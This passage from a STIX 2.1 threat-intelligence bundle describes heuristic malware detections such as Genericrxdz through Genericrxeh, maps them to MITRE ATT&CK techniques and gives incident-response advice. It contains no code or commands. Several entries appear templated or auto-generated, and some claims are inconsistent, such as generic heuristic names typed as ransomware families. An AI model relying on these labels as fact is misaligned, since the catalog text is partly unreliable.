    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--137b71d1-0103-5eaa-8218-ebededafdf98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxdz",
      "description": "GenericRXDZ (classified across commercial antivirus engines under designations including Ransom:Win32/GenericRXDZ and Trojan-Ransom.Win32.GenericRXDZ) is an evasive crypto-ransomware family designed for targeted extortion attacks against Windows enterprise environments. Infiltrating endpoints via exploit kits, malicious downloads, and lateral movement tools, GenericRXDZ terminates local database processes and security software to clear file handles before launching its cryptographic routines. It scans local fixed drives, removable USB storage, and mapped SMB network shares, encrypting high-value business documents, spreadsheets, databases, and backup archives with AES-256. It leaves ransom notes in every affected folder and wipes Volume Shadow Copies via administrative shell commands. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/GenericRXDZ",
        "Trojan-Ransom.Win32.GenericRXDZ",
        "Win32/GenericRXDZ",
        "GenericRXDZ Ransomware",
        "Ransom.GenericRXDZ"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxdz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxdz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--712d40c9-4793-5c12-80fd-330ae5350b7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--137b71d1-0103-5eaa-8218-ebededafdf98",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dff120ef-63f2-516f-9759-a0b6bc468b39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--137b71d1-0103-5eaa-8218-ebededafdf98",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db40233d-8c90-5715-b5c1-05cf6015f77e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--137b71d1-0103-5eaa-8218-ebededafdf98",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41c5805f-a3bb-5a25-ba83-6b29e81e9d12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--137b71d1-0103-5eaa-8218-ebededafdf98",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd4608da-a051-599b-8ccc-9263ddc621ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--137b71d1-0103-5eaa-8218-ebededafdf98",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--84d4436e-f2a9-5d06-ac88-02f1a044f4a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxea",
      "description": "Trojan:Win32/Genericrxea is a generic, heuristic detection name used by endpoint security solutions (specifically Windows Defender) to identify files exhibiting highly suspicious, trojan-like behavior. Because it is a generic signature, it does not point to one specific malware family (like Trickbot or Emotet); rather, it indicates that the file employs obfuscation, persistence, or injection techniques commonly associated with severe malware.<br><br><b>Understanding Generic Heuristics</b><br>To an end-user, an alert for 'Genericrxea' usually means the antivirus successfully blocked an unknown threat. For a security analyst, a generic heuristic alert requires careful investigation. It means the security software caught the malware based on *what it did* (behavioral) or *how it looked* (machine learning/fuzzy hashing) rather than matching an exact known hash. The actual threat could be an Initial Access dropper, a newly compiled ransomware variant, or a password stealer.<br><br><b>Common Execution Patterns Flagged</b><br>Files flagged as Genericrxea typically attempt one or more malicious actions upon execution. They are often delivered via spearphishing (`T1566.001`). When the user executes the file (`T1204.002`), the malware might attempt to establish persistence by silently creating a hidden Scheduled Task (`T1053.005`) or modifying the Registry Run keys (`T1547.001`). The heuristic engine often triggers if the executable attempts Process Hollowing or DLL Injection (`T1055`)\u2014trying to inject its code into a legitimate Windows process (like `svchost.exe`) to hide its network activity while connecting to a C2 server (`T1105`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is highly variable, depending entirely on the true nature of the unclassified payload. Incident responders must rely on EDR telemetry to trace the execution chain. Identify what process spawned the flagged file, and determine if the flagged file successfully spawned any child processes or made network connections *before* it was quarantined. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxea",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxea"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f4b7f62-9da3-5c53-a25a-5b2529f85d25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84d4436e-f2a9-5d06-ac88-02f1a044f4a0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxea exhibits technique T1055 (Process Injection (Common trigger for heuristics))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--817a916a-12fb-51b2-b0ae-76c1026913ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84d4436e-f2a9-5d06-ac88-02f1a044f4a0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxea exhibits technique T1547.001 (Boot or Logon Autostart Execution (Common trigger))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a9cdf65-6b23-59cb-8687-ef37303d04d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84d4436e-f2a9-5d06-ac88-02f1a044f4a0",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxea exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0f6a84c-2d6d-5dba-b603-36e6ee047913",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--84d4436e-f2a9-5d06-ac88-02f1a044f4a0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxea exhibits technique T1105 (Ingress Tool Transfer (Downloading secondary payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--33075812-3e5a-563c-a219-408394367ab0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxeb",
      "description": "Trojan:Win32/Genericrxeb is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxeb (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxeb usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxeb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxeb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46d69195-7f1c-5cc9-84f9-acc2285a8845",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33075812-3e5a-563c-a219-408394367ab0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeb exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e413f2b-380c-5f34-a4a7-61f81735e5c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33075812-3e5a-563c-a219-408394367ab0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeb exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db8aea4b-1986-5a29-bf93-232355bb9bb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33075812-3e5a-563c-a219-408394367ab0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeb exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ac001a9-8440-5676-9dcf-f14e0c3e6317",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxed",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxed\" is an automated, heuristic detection identifier utilized by endpoint protection platforms (EPP) to flag highly suspicious executables. It does not represent a specific, named malware family (like Emotet or Ryuk) but rather a behavioral pattern that strongly indicates the presence of a trojan, downloader, or highly obfuscated payload attempting to compromise the system.\n\n<h3>Heuristic Triggers and Behavioral Analysis</h3>\nThe \"Genericrxed\" label is applied when a file's execution behavior triggers a specific set of advanced heuristic rules within an antivirus engine. These rules are designed to catch zero-day threats or heavily mutated malware variants that easily evade traditional static signature detection.\n\nCommon behaviors that trigger a Genericrxed detection include:\n<ul>\n<li><strong>Suspicious Packing (High Entropy):</strong> The executable is heavily compressed or encrypted using custom, non-standard packers frequently utilized by malware authors to thwart reverse engineering and static analysis.</li>\n<li><strong>Process Hollowing / Injection:</strong> The executable attempts to start a legitimate Windows process (e.g., `svchost.exe`) in a suspended state, hollow out its memory, and inject malicious code into the legitimate process space to hide from monitoring tools.</li>\n<li><strong>Anomalous Network Activity:</strong> The program attempts to communicate with IP addresses known to be associated with command-and-control (C2) botnets, or it attempts to rapidly download executable files from unverified domains into temporary directories.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA Genericrxed alert must be treated as a high-priority security incident. Because the alert is generic, the true intent of the underlying threat is unknown; it could be a relatively benign adware installer, or it could be the initial access dropper for a devastating, enterprise-wide ransomware attack.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Disconnect the affected endpoint from the corporate network immediately to contain potential lateral movement and halt any active C2 communication.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> Submit the flagged file to a secure malware sandbox. Analyze the resulting report to determine the malware's true capabilities, specifically looking for registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise Sweeps:</strong> Utilize the IOCs discovered during sandboxing to perform a proactive threat hunt across all enterprise endpoints, ensuring the generic threat has not propagated elsewhere in the environment.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Genericrxed",
        "Heur.Genericrxed",
        "Suspicious.Genericrxed"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxed",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxed"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a61450f4-aa94-5981-a8eb-fd754108659c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ac001a9-8440-5676-9dcf-f14e0c3e6317",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxed exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8419f60-22e3-5bb8-bc38-dbb5eadfd5e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ac001a9-8440-5676-9dcf-f14e0c3e6317",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxed exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42eeb055-7138-5d8d-a841-33a42bdffb28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ac001a9-8440-5676-9dcf-f14e0c3e6317",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxed exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a94db0e3-be6f-5026-b564-50e3e9525d46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ac001a9-8440-5676-9dcf-f14e0c3e6317",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxed exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4900db0d-0bbc-55ab-bf6c-4c989374f1b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ac001a9-8440-5676-9dcf-f14e0c3e6317",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxed exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9540932-73f5-5c15-a4b2-ee8acffd8114",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0ac001a9-8440-5676-9dcf-f14e0c3e6317",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxed exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c06b3a8-b7a9-5c83-b5fb-7c70a79573e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxef",
      "description": "<h3>Executive Summary</h3>\nGenericRXEF is a heuristic detection signature utilized by enterprise antivirus and EDR (Endpoint Detection and Response) engines to identify files exhibiting behaviors strongly correlated with malicious Trojans or obfuscated droppers. The \"RXEF\" designation often points to specific memory injection techniques, anomalous API calls, or packed code structures detected during runtime execution, though it does not necessarily map to a single, named malware family. It is frequently associated with the initial stages of a compromise, where an executable attempts to download and deploy a secondary payload.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as GenericRXEF are typically encountered via drive-by downloads from compromised websites, as malicious attachments in generic spam campaigns, or hidden within \"cracked\" software installers downloaded from peer-to-peer networks.\n\nUpon execution, these files generally exhibit suspicious, evasive behavior:\n<ul>\n<li><strong>Process Injection or Hollowing:</strong> The executable often attempts to unpack its true malicious code directly into the memory space of a legitimate Windows process (like `svchost.exe` or `explorer.exe`) to evade file-based antivirus scanning.</li>\n<li><strong>Unauthorized Network Connections:</strong> The malware will attempt to establish outbound connections to unknown IP addresses, likely attempting to contact a Command and Control (C2) server to receive instructions or download a secondary payload (such as ransomware or an info-stealer).</li>\n<li><strong>Registry Manipulation:</strong> To ensure it survives a system reboot, the malware will likely modify the Windows Registry, often adding entries to the `Run` keys or creating malicious Scheduled Tasks.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA GenericRXEF detection must be treated as a serious indicator of compromise. Because it is a generic, behavioral detection, the specific intent of the malware (espionage, extortion, botnet recruitment) is unknown until further forensic analysis is performed. It represents an active attempt to establish a persistent, unauthorized foothold on the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Isolation and Triage:</strong> Isolate the endpoint from the corporate network immediately to prevent any potential lateral movement or the successful download of a secondary payload.</li>\n<li><strong>Behavioral Analysis (EDR):</strong> Utilize EDR telemetry to trace the execution path of the flagged file. Identify any child processes it spawned, network connections it attempted, or registry keys it modified.</li>\n<li><strong>Anti-Malware Remediation:</strong> Run a comprehensive, deep system scan using an updated enterprise AV solution to quarantine the original file and remove any persistence mechanisms it managed to establish.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GenericRXEF",
        "Malware.Generic.RXEF",
        "Suspicious.Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxef",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxef"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--879d8dd9-5d94-5e1d-aa04-4dab714fed3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c06b3a8-b7a9-5c83-b5fb-7c70a79573e6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxef exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58d8426b-2eae-5cd5-b7d5-e0ee9f012ff2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c06b3a8-b7a9-5c83-b5fb-7c70a79573e6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxef exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaf24f1c-c48b-5d30-9344-d13ebb471ee1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c06b3a8-b7a9-5c83-b5fb-7c70a79573e6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxef exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9eb531c3-ab8e-5163-b164-1bec06b63b5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxeg",
      "description": "Trojan:Win32/Genericrxeg is a generic, heuristic detection name used by endpoint security solutions (specifically Windows Defender) to identify files exhibiting highly suspicious, trojan-like behavior. Because it is a generic signature, it does not point to one specific malware family (like Trickbot or Emotet); rather, it indicates that the file employs obfuscation, persistence, or injection techniques commonly associated with severe malware.<br><br><b>Understanding Generic Heuristics</b><br>To an end-user, an alert for 'Genericrxeg' usually means the antivirus successfully blocked an unknown threat. For a security analyst, a generic heuristic alert requires careful investigation. It means the security software caught the malware based on *what it did* (behavioral) or *how it looked* (machine learning/fuzzy hashing) rather than matching an exact known hash. The actual threat could be an Initial Access dropper, a newly compiled ransomware variant, or a password stealer.<br><br><b>Common Execution Patterns Flagged</b><br>Files flagged as Genericrxeg typically attempt one or more malicious actions upon execution. They are often delivered via spearphishing (`T1566.001`). When the user executes the file (`T1204.002`), the malware might attempt to establish persistence by silently creating a hidden Scheduled Task (`T1053.005`) or modifying the Registry Run keys (`T1547.001`). The heuristic engine often triggers if the executable attempts Process Hollowing or DLL Injection (`T1055`)\u2014trying to inject its code into a legitimate Windows process (like `svchost.exe`) to hide its network activity while connecting to a C2 server (`T1105`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is highly variable, depending entirely on the true nature of the unclassified payload. Incident responders must rely on EDR telemetry to trace the execution chain. Identify what process spawned the flagged file, and determine if the flagged file successfully spawned any child processes or made network connections *before* it was quarantined. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxeg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxeg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--052783f7-b20c-52c9-8020-68654d9d3657",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9eb531c3-ab8e-5163-b164-1bec06b63b5f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeg exhibits technique T1055 (Process Injection (Common trigger for heuristics))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--106c54ab-ef7b-5a23-b067-9088e0195b42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9eb531c3-ab8e-5163-b164-1bec06b63b5f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeg exhibits technique T1547.001 (Boot or Logon Autostart Execution (Common trigger))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51f46a6c-0af6-5d08-be5d-20c47a858759",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9eb531c3-ab8e-5163-b164-1bec06b63b5f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeg exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4cf2fff-6ac4-55ab-9331-1de3d7d04136",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9eb531c3-ab8e-5163-b164-1bec06b63b5f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxeg exhibits technique T1105 (Ingress Tool Transfer (Downloading secondary payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e547d0c1-512f-5c9b-aa41-c5cb9532e572",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxeh",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxeh\" is an automated, heuristic detection identifier utilized by endpoint protection platforms (EPP) to flag highly suspicious executables. It does not represent a named malware family (like Emotet or LockBit) but rather a behavioral pattern that strongly indicates the presence of a trojan, downloader, or obfuscated payload.\n\n<h3>Heuristic Triggers and Behavioral Analysis</h3>\nThe \"Genericrxeh\" label is applied when a file's behavior triggers a specific set of heuristic rules within an antivirus engine. These rules are designed to catch zero-day threats or heavily mutated malware that evades static signature detection.\n\nCommon behaviors that trigger a Genericrxeh detection include:\n<ul>\n<li><strong>Suspicious Packing:</strong> The executable is compressed or encrypted using custom, non-standard packers frequently utilized by malware authors to thwart reverse engineering.</li>\n<li><strong>Process Hollowing:</strong> The executable attempts to start a legitimate Windows process (e.g., `svchost.exe`) in a suspended state, hollow out its memory, and inject malicious code into the legitimate process space.</li>\n<li><strong>Anomalous Network Activity:</strong> The program attempts to communicate with IP addresses known to be associated with command-and-control (C2) botnets, or it attempts to download executable files (`.exe`, `.dll`) from unverified domains into temporary directories.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA Genericrxeh alert must be treated as a high-priority incident. The generic nature of the alert means the underlying threat is unknown; it could be a relatively benign adware installer, or it could be the initial access dropper for a devastating ransomware attack.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Disconnect the affected endpoint from the corporate network immediately to contain potential lateral movement and halt C2 communication.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> Submit the flagged file to a secure malware 